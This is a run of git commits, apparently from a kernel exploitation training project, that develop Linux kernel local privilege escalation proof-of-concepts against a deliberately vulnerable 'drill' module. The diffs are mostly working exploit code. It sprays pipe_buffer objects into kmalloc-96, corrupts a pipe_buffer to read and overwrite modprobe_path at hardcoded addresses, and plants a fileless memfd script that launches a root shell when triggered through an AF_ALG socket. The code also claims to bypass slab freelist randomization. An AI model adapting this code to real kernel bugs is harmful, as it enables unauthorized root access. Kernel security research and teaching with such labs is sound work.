(%s) differs from privesc script (%s)\n", modprobe_path, + privesc_script_path); goto end; - printf("[+] overwrote modprobe_path successfully: \"%s\"\n", modprobe_path); + } + printf("[+] overwrote modprobe_path successfully: \"%s\"\n", modprobe_path); trigger_modprobe_sock(); ret = EXIT_SUCCESS; From 105244857489a37c3a142f4ac80b3fd260bb902a Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Mon, 16 Feb 2026 11:03:14 +1000 Subject: [PATCH 11/31] fix(oobw): defines style --- drill_oob_w_pipe_buffer.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 31e7665..89267a6 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -44,8 +44,8 @@ #define PB_PER_SLAB_SLOT 2 #define SLAB_TO_FILL 10 #define OBJS_PER_SLAB 42 -#define PIPES_N OBJS_PER_SLAB *SLAB_TO_FILL -#define PIPE_CAPACITY PAGE_SIZE *PB_PER_SLAB_SLOT +#define PIPES_N OBJS_PER_SLAB * SLAB_TO_FILL +#define PIPE_CAPACITY PAGE_SIZE * PB_PER_SLAB_SLOT #define KMOD_PATH_LEN 256 #define MODPROBE_PTR 0xffffffff82d486e0UL From 24bf0dfadfd5ed70bb4921360812f7eec37942c4 Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Thu, 26 Feb 2026 22:07:56 +1000 Subject: [PATCH 12/31] review(oobw): spray partial -> drill -> spray on top --- drill_oob_w_pipe_buffer.c | 60 +++++++++++++++++++++++++++++++++++---- 1 file changed, 54 insertions(+), 6 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 89267a6..cbcaca9 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -27,6 +27,7 @@ #define _GNU_SOURCE #include "drill.h" +#include #include #include #include @@ -41,10 +42,14 @@ #include /* clang-format off */ -#define PB_PER_SLAB_SLOT 2 -#define SLAB_TO_FILL 10 +#define CPU_PARTIAL 120 #define OBJS_PER_SLAB 42 -#define PIPES_N OBJS_PER_SLAB * SLAB_TO_FILL +#define SLABS_TO_FILL 20 +#define SPRAY_PARTIAL CPU_PARTIAL * OBJS_PER_SLAB +#define SPRAY_ON_TOP SLABS_TO_FILL * OBJS_PER_SLAB +#define PIPES_N SPRAY_PARTIAL + SPRAY_ON_TOP + +#define PB_PER_SLAB_SLOT 2 #define PIPE_CAPACITY PAGE_SIZE * PB_PER_SLAB_SLOT #define KMOD_PATH_LEN 256 @@ -232,6 +237,31 @@ int search_and_overwrite_modprobe(int pipe_fds[PIPES_N][2], char *pipe_data, return EXIT_FAILURE; } +int increase_fd_limit(void) +{ + struct rlimit rlim; + + if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) { + perror("[-] getrlimit"); + return EXIT_FAILURE; + } + + rlim.rlim_cur = rlim.rlim_max; + if (setrlimit(RLIMIT_NOFILE, &rlim) == -1) { + perror("[-] setrlimit"); + return EXIT_FAILURE; + } + + if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) { + perror("[-] getrlimit"); + return EXIT_FAILURE; + } + + printf("[+] set maximum file descriptors limit: %ld\n", rlim.rlim_cur); + + return EXIT_SUCCESS; +} + int main(void) { int ret = EXIT_FAILURE; @@ -244,6 +274,10 @@ int main(void) char err_act[64]; bool success = false; + ret = increase_fd_limit(); + if (ret == EXIT_FAILURE) + goto end; + ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); if (ret == EXIT_FAILURE) goto end; @@ -273,14 +307,28 @@ int main(void) printf("[+] opened pipes\n"); memset(pipe_data, 0, sizeof(pipe_data)); - /* place vulnerable drill_item before pipe_buffers */ + for (int i = 0; i < SPRAY_PARTIAL; i++) { + ret = fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PIPE_CAPACITY); + if (ret != PIPE_CAPACITY) { + perror("[-] fcntl"); + goto end; + } + if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { + perror("[-] write"); + goto end; + } + } + printf("[+] sprayed pipe_buffers in partial lists\n"); + + /* place vulnerable drill_item between pipe_buffers */ ret = act(act_fd, DRILL_ACT_ALLOC, 0, NULL); if (ret == EXIT_FAILURE) { - perror("[-] drill spray"); + perror("[-] drill alloc"); goto end; } + printf("[+] allocated evil drill_item\n"); - for (int i = 0; i < PIPES_N; i++) { + for (int i = SPRAY_PARTIAL; i < PIPES_N; i++) { /* * A `drill_item` object allocated in kmalloc-96 cache. It is known that the size of the * `pipe_buffer' is 40 bytes, which means that we need two of them to reach kmalloc-96. From 4c9712dd0b1ce4ff4e26b28f73a93d68c8cbe835 Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Fri, 27 Mar 2026 15:48:47 +1000 Subject: [PATCH 13/31] style(oobw): remove some unnecessary whitespaces --- drill_oob_w_pipe_buffer.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index cbcaca9..cf5f979 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -330,9 +330,9 @@ int main(void) for (int i = SPRAY_PARTIAL; i < PIPES_N; i++) { /* - * A `drill_item` object allocated in kmalloc-96 cache. It is known that the size of the - * `pipe_buffer' is 40 bytes, which means that we need two of them to reach kmalloc-96. - */ + * A `drill_item` object allocated in kmalloc-96 cache. It is known that the size of the + * `pipe_buffer' is 40 bytes, which means that we need two of them to reach kmalloc-96. + */ ret = fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PIPE_CAPACITY); if (ret != PIPE_CAPACITY) { perror("[-] fcntl"); From 626ed93ddcd99e82cc72fcbe0f19f81ea6f90e24 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Sun, 29 Mar 2026 07:26:23 +0300 Subject: [PATCH 14/31] Improve the description of drill_oob_w_pipe_buffer.c --- drill_oob_w_pipe_buffer.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index cf5f979..29e8d8f 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -16,12 +16,15 @@ * - CONFIG_DEBUG_INFO_DWARF5=y * - CONFIG_GDB_SCRIPTS=y * - * 4) Ensure that these options are disabled: - * - CONFIG_RANDOM_KMALLOC_CACHES (to allow naive heap spraying) + * 4) Ensure that the CONFIG_RANDOM_KMALLOC_CACHES option is not set to allow + * the drill_item_t and pipe_buffer objects to live in the same slab cache. * - * 5) Compile the kernel and run the VM with the needed settings: - * - Run qemu with "-cpu qemu64,+smep,+smap" - * - Run the kernel with "pti=on nokaslr" + * 5) However, you may compile the Linux kernel with slab freelist randomization enabled + * (CONFIG_SLAB_FREELIST_RANDOM=y). This PoC can bypass that hardening feature. + * + * 6) Run the kernel with disabled KASLR (use the nokaslr boot parameter). + * + * This PoC overwrites modprobe_path and gains LPE. */ #define _GNU_SOURCE From ca21c7a4fb8824afc98a449036f2f5ce56aa68b2 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Sun, 29 Mar 2026 09:06:44 +0300 Subject: [PATCH 15/31] Restore modprobe_path in drill_uaf_w_pud.c --- drill_uaf_w_pud.c | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/drill_uaf_w_pud.c b/drill_uaf_w_pud.c index ca01095..e20214b 100644 --- a/drill_uaf_w_pud.c +++ b/drill_uaf_w_pud.c @@ -400,7 +400,7 @@ void *memmem_modprobe_path_bruteforce(void *memory, size_t memory_size) } /* Fileless approach */ -int prepare_privesc_script(char *path, size_t path_size) +int prepare_privesc_script(char *path, size_t path_size, char *modprobe_path) { pid_t pid = getpid(); int script_fd = -1; @@ -426,8 +426,11 @@ int prepare_privesc_script(char *path, size_t path_size) return EXIT_FAILURE; } - ret = dprintf(script_fd, "#!/bin/sh\n/bin/sh 0/proc/%u/fd/%u 2>&1\n", pid, - shell_stdin_fd, pid, shell_stdout_fd); + ret = dprintf(script_fd, + "#!/bin/sh\n" + "echo \"%s\" > /proc/sys/kernel/modprobe\n" + "/bin/sh 0/proc/%u/fd/%u 2>&1\n", + modprobe_path, pid, shell_stdin_fd, pid, shell_stdout_fd); if (ret < 0) { perror("[-] dprintf for privesc_script"); return EXIT_FAILURE; @@ -474,12 +477,13 @@ int main(void) { int result = EXIT_FAILURE; int ret = EXIT_FAILURE; + char modprobe_path[KMOD_PATH_LEN] = { 0 }; + char privesc_script_path[KMOD_PATH_LEN] = { 0 }; int act_fd = -1; long i = 0; long current_n = 0; long reserved_from_n = 0; long uaf_n = 0; - char privesc_script_path[KMOD_PATH_LEN] = { 0 }; unsigned long phys_addr = 0; struct sysinfo info = { 0 }; int huge_pages_n = 0; @@ -498,7 +502,12 @@ int main(void) if (ret == EXIT_FAILURE) goto end; - ret = prepare_privesc_script(privesc_script_path, sizeof(privesc_script_path)); + ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); + if (ret == EXIT_FAILURE) + goto end; + + ret = prepare_privesc_script(privesc_script_path, sizeof(privesc_script_path), + modprobe_path); if (ret == EXIT_FAILURE) goto end; From d9592320cefdbdbf3d66088ec7e6e11bbeca0250 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Wed, 1 Apr 2026 15:13:01 +0300 Subject: [PATCH 16/31] Minimize the diff between drill_oob_w_pipe_buffer.c and drill_uaf_w_pud.c --- drill_oob_w_pipe_buffer.c | 214 +++++++++++++++++++------------------- 1 file changed, 109 insertions(+), 105 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 29e8d8f..4b2d112 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -29,20 +29,19 @@ #define _GNU_SOURCE -#include "drill.h" -#include -#include -#include #include #include -#include #include #include +#include +#include +#include #include #include -#include #include +#include #include +#include "drill.h" /* clang-format off */ #define CPU_PARTIAL 120 @@ -55,85 +54,85 @@ #define PB_PER_SLAB_SLOT 2 #define PIPE_CAPACITY PAGE_SIZE * PB_PER_SLAB_SLOT -#define KMOD_PATH_LEN 256 #define MODPROBE_PTR 0xffffffff82d486e0UL #define VIRTUAL_TO_PAGE(addr) \ ((((addr) - 0xffffffff80000000UL) / 0x1000) * 0x40 + 0xffffea0000000000UL) /* clang-format on */ -void trigger_modprobe_sock(void) -{ - struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "dummy" }; - int alg_fd = -1; - - printf("[!] triggering modprobe using AF_ALG socket to launch the root shell...\n"); - alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); - bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); - printf("[!] root shell is finished\n"); - - if (alg_fd >= 0) { - if (close(alg_fd) < 0) - perror("[-] close alg_fd"); - } -} - -int prepare_privesc_script(char *path, size_t path_size, char *modprobe_path) +int increase_fd_limit(void) { - pid_t pid = getpid(); - int script_fd = -1; - int shell_stdin_fd = -1; - int shell_stdout_fd = -1; - int ret = EXIT_FAILURE; + struct rlimit rlim; - script_fd = memfd_create("", MFD_CLOEXEC); - if (script_fd < 0) { - perror("[-] memfd_create"); + if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) { + perror("[-] getrlimit"); return EXIT_FAILURE; } - shell_stdin_fd = dup(STDIN_FILENO); - if (shell_stdin_fd < 0) { - perror("[-] dup"); + rlim.rlim_cur = rlim.rlim_max; + if (setrlimit(RLIMIT_NOFILE, &rlim) == -1) { + perror("[-] setrlimit"); return EXIT_FAILURE; } - shell_stdout_fd = dup(STDOUT_FILENO); - if (shell_stdout_fd < 0) { - perror("[-] dup"); + if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) { + perror("[-] getrlimit"); return EXIT_FAILURE; } - ret = dprintf(script_fd, - "#!/bin/sh\n" - "echo \"%s\" > /proc/sys/kernel/modprobe\n" - "/bin/sh 0/proc/%u/fd/%u 2>&1\n", - modprobe_path, pid, shell_stdin_fd, pid, shell_stdout_fd); - if (ret < 0) { - perror("[-] dprintf for privesc_script"); - return EXIT_FAILURE; - } + printf("[+] set maximum file descriptors limit: %ld\n", rlim.rlim_cur); - ret = lseek(script_fd, 0, SEEK_SET); - if (ret < 0) { - perror("[-] lseek for privesc_script"); + return EXIT_SUCCESS; +} + +int do_cpu_pinning(int cpu_n) +{ + int ret = 0; + cpu_set_t single_cpu; + + CPU_ZERO(&single_cpu); + CPU_SET(cpu_n, &single_cpu); + + ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu); + if (ret != 0) { + perror("[-] sched_setaffinity"); return EXIT_FAILURE; } - ret = snprintf(path, path_size, "/proc/%i/fd/%i", pid, script_fd); - if (ret < 0) { - perror("[-] snprintf for privesc_script path"); + printf("[+] pinned to CPU #%d\n", cpu_n); + return EXIT_SUCCESS; +} + +int act(int act_fd, int code, int n, char *args) +{ + char buf[DRILL_ACT_SIZE] = { 0 }; + size_t len = 0; + ssize_t bytes = 0; + + if (args) + snprintf(buf, DRILL_ACT_SIZE, "%d %d %s", code, n, args); + else + snprintf(buf, DRILL_ACT_SIZE, "%d %d", code, n); + + len = strlen(buf) + 1; /* with null byte */ + assert(len <= DRILL_ACT_SIZE); + + bytes = write(act_fd, buf, len); + if (bytes <= 0) { + perror("[-] write"); return EXIT_FAILURE; } - if (ret >= path_size) { - printf("[-] snprintf for privesc_script path: truncated\n"); + if (bytes != len) { + printf("[-] wrote only %zd bytes to drill_act\n", bytes); return EXIT_FAILURE; } - printf("[+] privesc script is prepared at %s\n", path); return EXIT_SUCCESS; } +/* From include/linux/kmod.h */ +#define KMOD_PATH_LEN 256 + int get_modprobe_path(char *buf, size_t buf_size) { int fd = -1; @@ -173,48 +172,60 @@ int get_modprobe_path(char *buf, size_t buf_size) return EXIT_SUCCESS; } -int do_cpu_pinning(int cpu_n) +/* Fileless approach */ +int prepare_privesc_script(char *path, size_t path_size, char *modprobe_path) { - int ret = 0; - cpu_set_t single_cpu; - - CPU_ZERO(&single_cpu); - CPU_SET(cpu_n, &single_cpu); + pid_t pid = getpid(); + int script_fd = -1; + int shell_stdin_fd = -1; + int shell_stdout_fd = -1; + int ret = EXIT_FAILURE; - ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu); - if (ret != 0) { - perror("[-] sched_setaffinity"); + script_fd = memfd_create("", MFD_CLOEXEC); + if (script_fd < 0) { + perror("[-] memfd_create"); return EXIT_FAILURE; } - printf("[+] pinned to CPU #%d\n", cpu_n); - return EXIT_SUCCESS; -} + shell_stdin_fd = dup(STDIN_FILENO); + if (shell_stdin_fd < 0) { + perror("[-] dup"); + return EXIT_FAILURE; + } -int act(int act_fd, int code, int n, char *args) -{ - char buf[DRILL_ACT_SIZE] = { 0 }; - size_t len = 0; - ssize_t bytes = 0; + shell_stdout_fd = dup(STDOUT_FILENO); + if (shell_stdout_fd < 0) { + perror("[-] dup"); + return EXIT_FAILURE; + } - if (args) - snprintf(buf, DRILL_ACT_SIZE, "%d %d %s", code, n, args); - else - snprintf(buf, DRILL_ACT_SIZE, "%d %d", code, n); + ret = dprintf(script_fd, + "#!/bin/sh\n" + "echo \"%s\" > /proc/sys/kernel/modprobe\n" + "/bin/sh 0/proc/%u/fd/%u 2>&1\n", + modprobe_path, pid, shell_stdin_fd, pid, shell_stdout_fd); + if (ret < 0) { + perror("[-] dprintf for privesc_script"); + return EXIT_FAILURE; + } - len = strlen(buf) + 1; /* with null byte */ - assert(len <= DRILL_ACT_SIZE); + ret = lseek(script_fd, 0, SEEK_SET); + if (ret < 0) { + perror("[-] lseek for privesc_script"); + return EXIT_FAILURE; + } - bytes = write(act_fd, buf, len); - if (bytes <= 0) { - perror("[-] write"); + ret = snprintf(path, path_size, "/proc/%i/fd/%i", pid, script_fd); + if (ret < 0) { + perror("[-] snprintf for privesc_script path"); return EXIT_FAILURE; } - if (bytes != len) { - printf("[-] wrote only %zd bytes to drill_act\n", bytes); + if (ret >= path_size) { + printf("[-] snprintf for privesc_script path: truncated\n"); return EXIT_FAILURE; } + printf("[+] privesc script is prepared at %s\n", path); return EXIT_SUCCESS; } @@ -240,29 +251,21 @@ int search_and_overwrite_modprobe(int pipe_fds[PIPES_N][2], char *pipe_data, return EXIT_FAILURE; } -int increase_fd_limit(void) +/* See https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch */ +void trigger_modprobe_sock(void) { - struct rlimit rlim; - - if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) { - perror("[-] getrlimit"); - return EXIT_FAILURE; - } + struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "dummy" }; + int alg_fd = -1; - rlim.rlim_cur = rlim.rlim_max; - if (setrlimit(RLIMIT_NOFILE, &rlim) == -1) { - perror("[-] setrlimit"); - return EXIT_FAILURE; - } + printf("[!] triggering modprobe using AF_ALG socket to launch the root shell...\n"); + alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); + printf("[!] root shell is finished\n"); - if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) { - perror("[-] getrlimit"); - return EXIT_FAILURE; + if (alg_fd >= 0) { + if (close(alg_fd) < 0) + perror("[-] close alg_fd"); } - - printf("[+] set maximum file descriptors limit: %ld\n", rlim.rlim_cur); - - return EXIT_SUCCESS; } int main(void) @@ -275,8 +278,9 @@ int main(void) int pipe_ret = -1; int pipe_fds[PIPES_N][2]; char err_act[64]; - bool success = false; + int success = 0; + printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid()); ret = increase_fd_limit(); if (ret == EXIT_FAILURE) goto end; @@ -366,7 +370,7 @@ int main(void) ret = search_and_overwrite_modprobe(pipe_fds, pipe_data, modprobe_path, privesc_script_path, i); if (ret == EXIT_SUCCESS) { - success = true; + success = 1; break; } else { /* From 4e0d1611ac215b2090b996e90e8ec42d85cd43dd Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Tue, 31 Mar 2026 18:08:22 +0300 Subject: [PATCH 17/31] Drop the CONFIG_CRYPTO_USER_API requirement --- drill_uaf_w_pte.c | 5 ++--- drill_uaf_w_pud.c | 4 +--- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/drill_uaf_w_pte.c b/drill_uaf_w_pte.c index b71aed1..80e54d0 100644 --- a/drill_uaf_w_pte.c +++ b/drill_uaf_w_pte.c @@ -15,9 +15,8 @@ * since this PoC can bypass it. * * Requirements: - * 1) Enable CONFIG_CRYPTO_USER_API to exploit the modprobe_path LPE technique - * 2) Disable KASLR and update the MODPROBE_PATH_ADDR below - * 3) See "Kernel code" in /proc/iomem and update KERNEL_TEXT_PHYS_ADDR + * 1) Disable KASLR and update the MODPROBE_PATH_ADDR below + * 2) See "Kernel code" in /proc/iomem and update KERNEL_TEXT_PHYS_ADDR */ #define _GNU_SOURCE diff --git a/drill_uaf_w_pud.c b/drill_uaf_w_pud.c index e20214b..d559448 100644 --- a/drill_uaf_w_pud.c +++ b/drill_uaf_w_pud.c @@ -14,9 +14,7 @@ * You may also compile the kernel with CONFIG_PAGE_TABLE_CHECK and CONFIG_TRANSPARENT_HUGEPAGE, * since this PoC can bypass them combined. * - * Requirements: - * 1) Enable CONFIG_CRYPTO_USER_API to exploit the modprobe_path LPE technique - * 2) Ensure that KERNEL_TEXT_PATTERNS contains the first bytes of _text of your kernel + * Ensure that KERNEL_TEXT_PATTERNS contains the first bytes of _text of your kernel. */ #define _GNU_SOURCE From a8de3bc57de3eb23dcbfc98a42ea28b68be17bc8 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Sun, 29 Mar 2026 17:44:20 +0300 Subject: [PATCH 18/31] Simplify working with pipes in drill_uaf_w_pipe_buffer.c --- drill_oob_w_pipe_buffer.c | 56 ++++++++++++++++++++------------------- 1 file changed, 29 insertions(+), 27 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 4b2d112..9504371 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -270,12 +270,13 @@ void trigger_modprobe_sock(void) int main(void) { + int result = EXIT_FAILURE; int ret = EXIT_FAILURE; char modprobe_path[KMOD_PATH_LEN] = { 0 }; char privesc_script_path[KMOD_PATH_LEN] = { 0 }; int act_fd = -1; + long i = 0; char pipe_data[PIPE_CAPACITY]; - int pipe_ret = -1; int pipe_fds[PIPES_N][2]; char err_act[64]; int success = 0; @@ -304,17 +305,23 @@ int main(void) if (do_cpu_pinning(0) == EXIT_FAILURE) goto end; - for (int i = 0; i < PIPES_N; i++) { - pipe_ret = pipe(pipe_fds[i]); - if (pipe_ret < 0) { + for (i = 0; i < PIPES_N; i++) { + pipe_fds[i][0] = -1; + pipe_fds[i][1] = -1; + } + + for (i = 0; i < PIPES_N; i++) { + ret = pipe(pipe_fds[i]); + if (ret < 0) { perror("[-] pipe"); goto end; } } printf("[+] opened pipes\n"); + memset(pipe_data, 0, sizeof(pipe_data)); - for (int i = 0; i < SPRAY_PARTIAL; i++) { + for (i = 0; i < SPRAY_PARTIAL; i++) { ret = fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PIPE_CAPACITY); if (ret != PIPE_CAPACITY) { perror("[-] fcntl"); @@ -335,7 +342,7 @@ int main(void) } printf("[+] allocated evil drill_item\n"); - for (int i = SPRAY_PARTIAL; i < PIPES_N; i++) { + for (i = SPRAY_PARTIAL; i < PIPES_N; i++) { /* * A `drill_item` object allocated in kmalloc-96 cache. It is known that the size of the * `pipe_buffer' is 40 bytes, which means that we need two of them to reach kmalloc-96. @@ -361,7 +368,7 @@ int main(void) } printf("[*] trying to leak modprobe_path...\n"); - for (int i = 0; i < PIPES_N; i++) { + for (i = 0; i < PIPES_N; i++) { ret = read(pipe_fds[i][0], pipe_data, sizeof(pipe_data)); if (ret < 0) { perror("[-] read"); @@ -399,21 +406,17 @@ int main(void) printf("[+] overwrote modprobe_path successfully: \"%s\"\n", modprobe_path); trigger_modprobe_sock(); - ret = EXIT_SUCCESS; + result = EXIT_SUCCESS; end: - if (pipe_ret >= 0) { - for (int i = 0; i < PIPES_N; i++) { - if (pipe_fds[i][0] >= 0) { - ret = close(pipe_fds[i][0]); - if (ret != 0) - perror("[-] close pipe"); - } - if (pipe_fds[i][1] >= 0) { - ret = close(pipe_fds[i][1]); - if (ret != 0) - perror("[-] close pipe"); - } + for (i = 0; i < PIPES_N; i++) { + if (pipe_fds[i][0] >= 0) { + if (close(pipe_fds[i][0]) < 0) + perror("[-] close pipe"); + } + if (pipe_fds[i][1] >= 0) { + if (close(pipe_fds[i][1]) < 0) + perror("[-] close pipe"); } } @@ -423,11 +426,10 @@ int main(void) perror("[-] close act_fd"); } - if (ret == EXIT_FAILURE) { - printf("\n[-] exploit failed!\n"); - return ret; - } else { - printf("\n[+] the end! \n"); - return ret; - } + if (result == EXIT_FAILURE) + printf("\n[-] exploit failed\n"); + else + printf("\n[+] success, the end\n"); + + return result; } From 86f063d31ee9ecd939e2b8567514a38b3f1f1a69 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Wed, 1 Apr 2026 15:46:43 +0300 Subject: [PATCH 19/31] Free the resources in the reverse order (good practice) --- drill_oob_w_pipe_buffer.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 9504371..4d917ce 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -409,6 +409,12 @@ int main(void) result = EXIT_SUCCESS; end: + if (act_fd >= 0) { + ret = close(act_fd); + if (ret != 0) + perror("[-] close act_fd"); + } + for (i = 0; i < PIPES_N; i++) { if (pipe_fds[i][0] >= 0) { if (close(pipe_fds[i][0]) < 0) @@ -420,12 +426,6 @@ int main(void) } } - if (act_fd >= 0) { - ret = close(act_fd); - if (ret != 0) - perror("[-] close act_fd"); - } - if (result == EXIT_FAILURE) printf("\n[-] exploit failed\n"); else From 9a7f469837034f1adb0296f82bb96a4b2dc5c85f Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Wed, 1 Apr 2026 16:09:15 +0300 Subject: [PATCH 20/31] Avoid hitting /proc/sys/fs/pipe-user-pages-soft limit, which is 16384 Resize the pipe from 16 to 2 pages just after its creation. Debug output at the moment of hitting the limit: [ 15.756534] alloc pipe_buffer at 0xffff88800d5aa800 slots 16 [ 15.758991] alloc pipe_buffer at 0xffff88800d5aa000 slots 16 [ 15.760472] alloc pipe_buffer at 0xffff88800d5ab400 slots 16 [ 15.761976] AAA TOO MANY PIPE BUFFERS And drop some copy-pasted code. [ 15.762961] alloc pipe_buffer at 0xffff88800bb1ed20 slots 2 [ 15.764402] AAA TOO MANY PIPE BUFFERS [ 15.765431] alloc pipe_buffer at 0xffff88800bb1e3c0 slots 2 [ 15.766894] AAA TOO MANY PIPE BUFFERS [ 15.768340] alloc pipe_buffer at 0xffff88800bb1ede0 slots 2 --- drill_oob_w_pipe_buffer.c | 50 +++++++++++++++------------------------ 1 file changed, 19 insertions(+), 31 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 4d917ce..b9880fa 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -276,8 +276,8 @@ int main(void) char privesc_script_path[KMOD_PATH_LEN] = { 0 }; int act_fd = -1; long i = 0; - char pipe_data[PIPE_CAPACITY]; int pipe_fds[PIPES_N][2]; + char pipe_data[PIPE_CAPACITY]; char err_act[64]; int success = 0; @@ -310,56 +310,44 @@ int main(void) pipe_fds[i][1] = -1; } + memset(pipe_data, 0, sizeof(pipe_data)); + for (i = 0; i < PIPES_N; i++) { ret = pipe(pipe_fds[i]); if (ret < 0) { perror("[-] pipe"); goto end; } - } - printf("[+] opened pipes\n"); - - memset(pipe_data, 0, sizeof(pipe_data)); - for (i = 0; i < SPRAY_PARTIAL; i++) { - ret = fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PIPE_CAPACITY); - if (ret != PIPE_CAPACITY) { - perror("[-] fcntl"); - goto end; - } - if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { - perror("[-] write"); - goto end; - } - } - printf("[+] sprayed pipe_buffers in partial lists\n"); - - /* place vulnerable drill_item between pipe_buffers */ - ret = act(act_fd, DRILL_ACT_ALLOC, 0, NULL); - if (ret == EXIT_FAILURE) { - perror("[-] drill alloc"); - goto end; - } - printf("[+] allocated evil drill_item\n"); - - for (i = SPRAY_PARTIAL; i < PIPES_N; i++) { /* - * A `drill_item` object allocated in kmalloc-96 cache. It is known that the size of the - * `pipe_buffer' is 40 bytes, which means that we need two of them to reach kmalloc-96. + * Change the pipe_buffer array size to 2 * sizeof(struct pipe_buffer), + * which is 80 bytes. It should live in kmalloc-96 together with + * the drill_item_t object. + * + * We should resize the pipe capacity right now to avoid hitting + * the limit in /proc/sys/fs/pipe-user-pages-soft. */ ret = fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PIPE_CAPACITY); if (ret != PIPE_CAPACITY) { perror("[-] fcntl"); goto end; } + if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { perror("[-] write"); goto end; } + + if (i == SPRAY_PARTIAL) { + ret = act(act_fd, DRILL_ACT_ALLOC, 0, NULL); + if (ret == EXIT_FAILURE) + goto end; + printf("[+] allocated a vulnerable drill_item_t object\n"); + } } - printf("[+] sprayed pipe_buffers in kmalloc-96\n"); + printf("[+] allocated pipe_buffer objects and a drill_item_t object among them\n"); - printf("[*] trying to corrupt `pipe_buffer`...\n"); + printf("[*] trying to corrupt a pipe_buffer near the drill_item_t object...\n"); snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", 0, VIRTUAL_TO_PAGE(MODPROBE_PTR)); ret = write(act_fd, err_act, strlen(err_act) + 1); if (ret <= 0) { From 272b2c035271526758e7e32fa4d4d49efb94888b Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Wed, 1 Apr 2026 16:34:52 +0300 Subject: [PATCH 21/31] Fix wrong VIRTUAL_TO_PAGE macro --- drill_oob_w_pipe_buffer.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index b9880fa..9b8b940 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -54,10 +54,16 @@ #define PB_PER_SLAB_SLOT 2 #define PIPE_CAPACITY PAGE_SIZE * PB_PER_SLAB_SLOT -#define MODPROBE_PTR 0xffffffff82d486e0UL - -#define VIRTUAL_TO_PAGE(addr) \ - ((((addr) - 0xffffffff80000000UL) / 0x1000) * 0x40 + 0xffffea0000000000UL) +/* The following formula is valid only when KASLR is disabled */ +#define MODPROBE_PATH_VADDR 0xffffffff82d486a0UL +#define KERNEL_TEXT_VADDR 0xffffffff81000000UL +#define MODPROBE_PATH_OFFSET (MODPROBE_PATH_VADDR - KERNEL_TEXT_VADDR) +#define KERNEL_TEXT_PHYS_ADDR 0x1000000UL +#define STRUCT_PAGE_SZ 64UL +#define VMEMMAP_BASE 0xffffea0000000000UL +#define MODPROBE_PATH_PAGE_OFFSET \ + ((KERNEL_TEXT_PHYS_ADDR + MODPROBE_PATH_OFFSET) >> 12) * STRUCT_PAGE_SZ +#define MODPROBE_PATH_PAGE_ADDR (VMEMMAP_BASE + MODPROBE_PATH_PAGE_OFFSET) /* 